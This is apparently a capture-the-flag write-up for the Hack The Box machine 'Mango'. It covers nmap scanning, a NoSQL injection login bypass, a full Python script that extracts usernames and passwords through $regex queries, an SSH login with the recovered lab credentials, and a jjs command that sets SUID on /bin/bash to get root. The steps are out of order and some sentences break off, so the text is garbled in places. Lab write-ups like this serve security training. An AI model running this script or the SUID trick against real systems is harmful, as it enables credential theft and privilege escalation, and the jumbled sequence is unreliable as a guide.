As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Thu Jan 6 18:02:04 2022 as: nmap -sS --min-rate 5000 -p- -T5 -Pn -n -oN allPorts 10.10.10.162
Warning: 10.10.10.162 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.10.162
Host is up (0.063s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
443/tcp open https
# Nmap done at Thu Jan 6 18:02:21 2022 -- 1 IP address (1 host up) scanned in 16.67 seconds
As we see, a few ports are open.
Let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Thu Jan 6 18:02:46 2022 as: nmap -sCV -p22,80,443 -oN targeted 10.10.10.162
Nmap scan report for 10.10.10.162
Host is up (0.049s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
| 256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_ 256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp open http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 403 Forbidden
443/tcp open ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.29 (Ubuntu)
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after: 2020-09-26T14:21:19
|_http-title: Mango | Search Base
Service Info: Host: 10.10.10.162; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Jan 6 18:03:15 2022 -- 1 IP address (1 host up) scanned in 28.85 seconds
Let's start with the basics. First, I see there is an HTTPS service running on port 443. Let's inspect the SSL certificate with the following command:
ssl s_client -connect 10.10.10.162:443
s_client implements a generic SSL/TLS client.
-connect tests connectivity to an HTTPS service..
At some point we should see this:
Certificate chain
0 s:C = IN, ST = None, L = None, O = Mango Prv Ltd., OU = None, CN = staging-order.mango.htb, emailAddress = admin@mango.htb
i:C = IN, ST = None, L = None, O = Mango Prv Ltd., OU = None, CN = staging-order.mango.htb, emailAddress = admin@mango.htb
Now we know that the common name (CN) is staging-order.mango.htb and the Domain Name is mango .htb. Let's add both to the /etc/hosts file and see if there is Virtual Hosting.
Now that we can do NoSQL Injection, we can try to dump the current database. We used before the not equal [$ne], but we can also use regular expressions with [$regex]. If we send something like username[$regex]=^a and we get a 302 Found status code, we know that there is a user that starts with the letter a, if we get a 200 OK status code, we know the users doesn't start with a.
The idea here is to keep trying letters until we get the 302 Found status code, then we can append that letter at the end of the username value.
Here is a python script I coded which basically automates this whole process. It finds valid users and their password, by exploiting the vulnerability explained before.
#/usr/bin/env python
from pwn import *
import requests
def def_handler(sig, frame):
print("[!] Saliendo...")
sys.exit(1)
#Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables
url = "http://staging-order.mango.htb/"
def makeRequest():
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#%&\'(),-/:;<=>@[\]_`{}~'
user = ""
password = ""
prev_char_list = []
found_user = False
p1 = log.progress("Brute Force")
p1.status("Brute forcing...")
time.sleep(1)
p2 = log.progress("Username")
p3 = log.progress("Password")
while True:
for char in characters:
p1.status("Trying with the %c character" % char)
if found_user == False:
post_data = {
"username[$regex]": "^%s%s" %(user, char),
"password[$ne]": "password",
"login": "login"
}
else:
post_data = {
"username": user,
"password[$regex]": f"^{re.escape(password + char)}",
"login": "login"
}
r = requests.post(url, post_data, allow_redirects=False)
if r.status_code == 302:
if found_user == False:
if user == "":
for prev_char in prev_char_list:
characters = characters + prev_char
prev_char_list.append(char)
user += char
p2.status(user)
else:
password += char
p3.status(password)
break
if r.status_code == 200 and char == characters[-1]:
if found_user == False:
found_user = True
if user == "":
print("[!] No more users...")
sys.exit(0)
else:
for prev_char in prev_char_list:
characters = characters.replace(prev_char, '')
found_user = False
user = ""
password = ""
p2 = log.progress("Username")
p3 = log.progress("Password")
break
if __name__ == '__main__':
makeRequest()pyth
If we execute the script, we should get the users admin and mango with their passwords.
python3 exploit.py
[|] Brute Force: Trying with the ~ character
[âŦ] Username: admin
[âŦ] Password: t9KcS3>!0B#2
[â´] Username: mango
[-] Password: h3mXK8RhU~f{]f5H
[â] Username
[°] Password
[!] No more users...
If we try to log in via SSH with these credentials, we'll see that we can have a shell as the mango user.
ssh mango@10.10.10.162
mango@10.10.10.162's password: h3mXK8RhU~f{]f5H
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue Feb 8 22:43:25 UTC 2022
System load: 0.0 Processes: 101
Usage of /: 26.0% of 19.56GB Users logged in: 0
Memory usage: 24% IP address for ens33: 10.10.10.162
Swap usage: 0%
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
122 packages can be updated.
18 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Feb 8 22:40:41 2022 from 10.10.14.19
-bash-4.4$ whoami
mango
From here we can become the admin user with the password that we obtained before, and then we could grab the user flag.
Warning: The jjs tool is planned to be removed from a future JDK release
jjs> Java.type('java.lang.Runtime').getRuntime().exec('chmod +s /bin/bash').waitFor()
0
Then all we have to do is execute bash with privileged mode and reap the harvest and take the root flag.
At this point, I tried to inject various types of payloads from the github repository, and I got something interesting by doing NoSQL injection. If I enter some invalid credentials I get a response with a 200 OK status code, but if I use the I get a 302 Found status code, and if I forward the petition I see the home.php file basically saying that the website is not functional.